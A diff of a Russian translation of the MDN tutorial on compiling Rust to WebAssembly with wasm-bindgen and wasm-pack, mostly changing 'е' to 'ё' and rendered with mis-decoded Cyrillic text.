-<p>Частичка Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code>#[]</code> называСтся "Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ", ΠΈ ΠΎΠ½Π° ΠΊΠΎΠ΅-ΠΊΠ°ΠΊ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π·Π° Π½Π΅ΠΉ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅. Π’ нашСм случаС, это ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅Β <code>extern</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Rust-Ρƒ,Β Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π²ΠΎ внСшнСм пространствС. Атрибут Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚: "wasm-bindgen Π·Π½Π°Π΅Ρ‚, ΠΊΠ°ΠΊΒ Π½Π°ΠΉΡ‚ΠΈ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ".</p>
+<p>Частичка Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code>#[]</code> называСтся "Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ", ΠΈ ΠΎΠ½Π° ΠΊΠΎΠ΅-ΠΊΠ°ΠΊ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π·Π° Π½Π΅ΠΉ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅. Π’ нашСм случаС, это ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅Β <code>extern</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Rust-Ρƒ,Β Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π²ΠΎ внСшнСм пространствС. Атрибут Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚: "wasm-bindgen Π·Π½Π°Π΅Ρ‚, ΠΊΠ°ΠΊΒ Π½Π°ΠΉΡ‚ΠΈ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ".</p>
<p>Π’Ρ€Π΅Ρ‚ΡŒΡ строка это имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, написанной Π½Π° Rust. Она Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚: "функция <code>alert</code>Β  ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, строку с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <code>s</code>."</p>
<p>Π£ вас, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π΅ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это Π·Π° функция, ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, вашС ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½ΠΎΠ΅: это функция<a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/alert">Β <code>alert</code>, прСдоставляСмая JavaScript</a>! ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ сСкции.</p>
-<p>Когда Π±Ρ‹ Π²Ρ‹ Π½Π΅ Π·Π°Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ JavaScript, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π΅ здСсь, ΠΈ <code>wasm-bindgen</code> позаботится ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ всС для вас. Пока Π΅Ρ‰Π΅ поддСрТиваСтся Π½Π΅ всС, Π½ΠΎ ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ этим! ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°,Β <a href="https://github.com/rustwasm/wasm-bindgen/issues/new">сообщайтС ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ…</a>, Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΡƒΠΏΡƒΡ‰Π΅Π½ΠΎ.</p>
+<p>Когда Π±Ρ‹ Π²Ρ‹ Π½Π΅ Π·Π°Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ JavaScript, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Ρ‘ здСсь, ΠΈ <code>wasm-bindgen</code> позаботится ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ всС для вас. Пока Π΅Ρ‰Ρ‘ поддСрТиваСтся Π½Π΅ всС, Π½ΠΎ ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ этим! ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°,Β <a href="https://github.com/rustwasm/wasm-bindgen/issues/new">сообщайтС ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ…</a>, Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΡƒΠΏΡƒΡ‰Π΅Π½ΠΎ.</p>
<h4 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ_Rust_ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ_ΠΌΠΎΠΆΠ΅Ρ‚_Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ_JavaScript">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ Rust, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ JavaScript</h4>
@@ -162,15 +162,15 @@ pub fn greet(name: &amp;str) {
}
</code></pre>
-<p>Π•Ρ‰Π΅ Ρ€Π°Π·, ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌΒ <code>#[wasm_bindgen]</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚. Π’ этом случаС, ΠΎΠ½Β ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π΅ Π±Π»ΠΎΠΊΒ <code>extern</code>, Π° <code>fn</code>; это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎΒ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эта функция на RustΒ Π±Ρ‹Π»Π° доступна для JavaScript. ΠŸΡ€ΡΠΌΠΎ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΒ <code>extern</code>: это Π½Π΅ Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹, Π° Ρ‚Π΅,Β Ρ‡Ρ‚ΠΎ ΠΌΡ‹ прСдоставляСм ΠΌΠΈΡ€Ρƒ!</p>
+<p>Π•Ρ‰Ρ‘ Ρ€Π°Π·, ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌΒ <code>#[wasm_bindgen]</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚. Π’ этом случаС, ΠΎΠ½Β ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π΅ Π±Π»ΠΎΠΊΒ <code>extern</code>, Π° <code>fn</code>; это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎΒ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эта функция на RustΒ Π±Ρ‹Π»Π° доступна для JavaScript. ΠŸΡ€ΡΠΌΠΎ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΒ <code>extern</code>: это Π½Π΅ Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹, Π° Ρ‚Π΅,Β Ρ‡Ρ‚ΠΎ ΠΌΡ‹ прСдоставляСм ΠΌΠΈΡ€Ρƒ!</p>
-<p>Наша функция называСтся <code>greet</code>, ΠΈ ΠΎΠ½Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, строку (ΠΏΠΈΡˆΠ΅Ρ‚ΡΡΒ <code>&amp;str</code>), <code>name</code>. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½Π° Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>alert</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ запросили Π²Β Π±Π»ΠΎΠΊΠ΅Β <code>extern</code> Π²Ρ‹ΡˆΠ΅. Она ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π²Ρ‹Π·ΠΎΠ² макросу <code>format!</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π°ΠΌ ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ строки.</p>
+<p>Наша функция называСтся <code>greet</code>, ΠΈ ΠΎΠ½Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, строку (ΠΏΠΈΡˆΠ΅Ρ‚ΡΡΒ <code>&amp;str</code>), <code>name</code>. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½Π° Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>alert</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ запросили Π²Β Π±Π»ΠΎΠΊΠ΅Β <code>extern</code> Π²Ρ‹ΡˆΠ΅. Она ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π²Ρ‹Π·ΠΎΠ² макросу <code>format!</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π°ΠΌ ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ строки.</p>
-<p><code>format!</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π² нашСм случаС: Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡƒΡŽ строку ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π² Π½Π΅Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ. ЀорматируСмая строка это <code>"Hello, {}!"</code> Ρ‡Π°ΡΡ‚ΡŒ. Она содСрТит <code>{}</code>, ΠΊΡƒΠ΄Π° Π±ΡƒΠ΄Π΅Ρ‚ вставлСна пСрСмСнная. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ, это <code>name</code>, Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ссли ΠΌΡ‹ Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌΒ <code>greet("Steve")</code>, Ρ‚ΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΠΌΒ <code>"Hello, Steve!".</code></p>
+<p><code>format!</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π² нашСм случаС: Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡƒΡŽ строку ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π² Π½Π΅Ρ‘ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ. ЀорматируСмая строка это <code>"Hello, {}!"</code> Ρ‡Π°ΡΡ‚ΡŒ. Она содСрТит <code>{}</code>, ΠΊΡƒΠ΄Π° Π±ΡƒΠ΄Π΅Ρ‚ вставлСна пСрСмСнная. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ, это <code>name</code>, Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ссли ΠΌΡ‹ Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌΒ <code>greet("Steve")</code>, Ρ‚ΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΠΌΒ <code>"Hello, Steve!".</code></p>
-<p>ВсС это пСрСдаСтся Π²Β <code>alert()</code>, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π°Β ΠΌΡ‹ Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ Π°Π»Π΅Ρ€Ρ‚ с "Hello, Steve!" Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ!</p>
+<p>ВсС это пСрСдаётся Π²Β <code>alert()</code>, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π°Β ΠΌΡ‹ Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ Π°Π»Π΅Ρ€Ρ‚ с "Hello, Steve!" Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ!</p>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° наша Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° написана, Π΄Π°Π²Π°ΠΉΡ‚Π΅ собСрСм Π΅Π΅.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° наша Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° написана, Π΄Π°Π²Π°ΠΉΡ‚Π΅ собСрём Π΅Π΅.</p>
<h3 id="ΠšΠΎΠΌΠΏΠΈΠ»ΡΡ†ΠΈΡ_ΠΊΠΎΠ΄Π°_Π²_WebAssembly">ΠšΠΎΠΌΠΏΠΈΠ»ΡΡ†ΠΈΡ ΠΊΠΎΠ΄Π° Π² WebAssembly</h3>
@@ -199,7 +199,7 @@ wasm-bindgen = "0.2"
<h3 id="Π‘Π±ΠΎΡ€ΠΊΠ°_ΠΏΠ°ΠΊΠ΅Ρ‚Π°">Π‘Π±ΠΎΡ€ΠΊΠ° ΠΏΠ°ΠΊΠ΅Ρ‚Π°</h3>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ всС установили, Π΄Π°Π²Π°ΠΉΡ‚Π΅ собСрСм ΠΏΡ€ΠΎΠ΅ΠΊΡ‚! Π’Π²Π΅Π΄ΠΈΡ‚Π΅ это Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ всС установили, Π΄Π°Π²Π°ΠΉΡ‚Π΅ собСрём ΠΏΡ€ΠΎΠ΅ΠΊΡ‚! Π’Π²Π΅Π΄ΠΈΡ‚Π΅ это Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅:</p>
<pre class="brush: bash notranslate"><code class="shell language-shell">$ wasm-pack build --scope mynpmusername
</code></pre>
@@ -209,8 +209,8 @@ wasm-bindgen = "0.2"
<ol>
<li>ΠšΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ ваш Rust-ΠΊΠΎΠ΄Β Π² WebAssembly.</li>
<li><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">ЗапускаСт </span></font>wasm-bindgen</code> с этим WebAssembly, гСнСрируя JavaScript Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ WebAssembly Ρ„Π°ΠΉΠ» Π² ΠΌΠΎΠ΄ΡƒΠ»ΡŒ. ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ npm.</li>
- <li>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΏΠ°ΠΏΠΊΡƒΒ <code>pkg</code>, ΠΊΡƒΠ΄Π°Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ этот JavaScript Ρ„Π°ΠΉΠ» ΠΈ ваш ΠΊΠΎΠ΄ WebAssembly.</li>
- <li>Π§ΠΈΡ‚Π°Π΅Ρ‚ ваш <code>Cargo.toml</code> ΠΈ создаСт эквивалСнтный <code>package.json</code>.</li>
+ <li>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΏΠ°ΠΏΠΊΡƒΒ <code>pkg</code>, ΠΊΡƒΠ΄Π°Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ этот JavaScript Ρ„Π°ΠΉΠ» ΠΈ ваш ΠΊΠΎΠ΄ WebAssembly.</li>
+ <li>Π§ΠΈΡ‚Π°Π΅Ρ‚ ваш <code>Cargo.toml</code> ΠΈ создаёт эквивалСнтный <code>package.json</code>.</li>
<li>ΠšΠΎΠΏΠΈΡ€ΡƒΠ΅Ρ‚ ваш <code>README.md</code> (Ссли Π΅ΡΡ‚ΡŒ) Π² ΠΏΠ°ΠΊΠ΅Ρ‚.</li>
</ol>
@@ -232,7 +232,7 @@ $ npm publish --access=public
<h2 id="ИспользованиС_ΠΏΠ°ΠΊΠ΅Ρ‚Π°_Π²_web">ИспользованиС ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π² web</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш ΠΏΠ°ΠΊΠ΅Ρ‚! МногиС ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΠ°ΠΊΠ΅Ρ‚Π°ΠΌΠΈ npm с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π°Π·Π½Ρ‹Ρ… сборщиков, ΠΈ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ…, <code>webpack</code>, Π² этом руководствС. Он Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ услоТнСнный,Β Π½ΠΎ описываСт Π±ΠΎΠ»Π΅Π΅ рСалистичный Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш ΠΏΠ°ΠΊΠ΅Ρ‚! МногиС ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΠ°ΠΊΠ΅Ρ‚Π°ΠΌΠΈ npm с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π°Π·Π½Ρ‹Ρ… сборщиков, ΠΈ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ…, <code>webpack</code>, Π² этом руководствС. Он Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ услоТнённый,Β Π½ΠΎ описываСт Π±ΠΎΠ»Π΅Π΅ рСалистичный Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π²Ρ‹ΠΉΠ΄Π΅ΠΌ ΠΈΠ· нашСй ΠΏΠ°ΠΏΠΊΠΈΒ <code>pkg</code>Β ΠΈ создадим Π½ΠΎΠ²ΡƒΡŽ, <code>site</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π² Π½Π΅ΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
@@ -258,7 +258,7 @@ $ cd site
}
</code></pre>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ввСсти своС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ имя послС <code>@</code>Β Π² сСкции зависимостСй.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ввСсти своё ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ имя послС <code>@</code>Β Π² сСкции зависимостСй.</p>
<p>Π”Π°Π»ΡŒΡˆΠ΅Β Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Webpack. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅Β <code>webpack.config.js</code> ΠΈ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
@@ -297,7 +297,7 @@ js.then(js =&gt; {
<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ снова ввСсти вашС имя для npm.</p>
-<p>Π’Π°ΠΊ ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ наш ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΈΠ· ΠΏΠ°ΠΏΠΊΠΈΒ <code>node_modules</code>. Π­Ρ‚ΠΎ Π½Π΅ считаСтся Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ, Π½ΠΎ это ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ° сойдСт. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ„Π°ΠΉΠ» загрузится, ΠΎΠ½ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>greet</code> ΠΈΠ· этого модуля, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Β <code>"WebAssembly"</code>, ΠΊΠ°ΠΊ строку. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅,Β Ρ‡Ρ‚ΠΎ здСсь Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ особСнного, ΠΈ всС ΠΆΠ΅ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΊΠΎΠ΄ Π½Π° Rust! Насколько JavaScript ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡƒΠ΄ΠΈΡ‚ΡŒ, это просто ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ.</p>
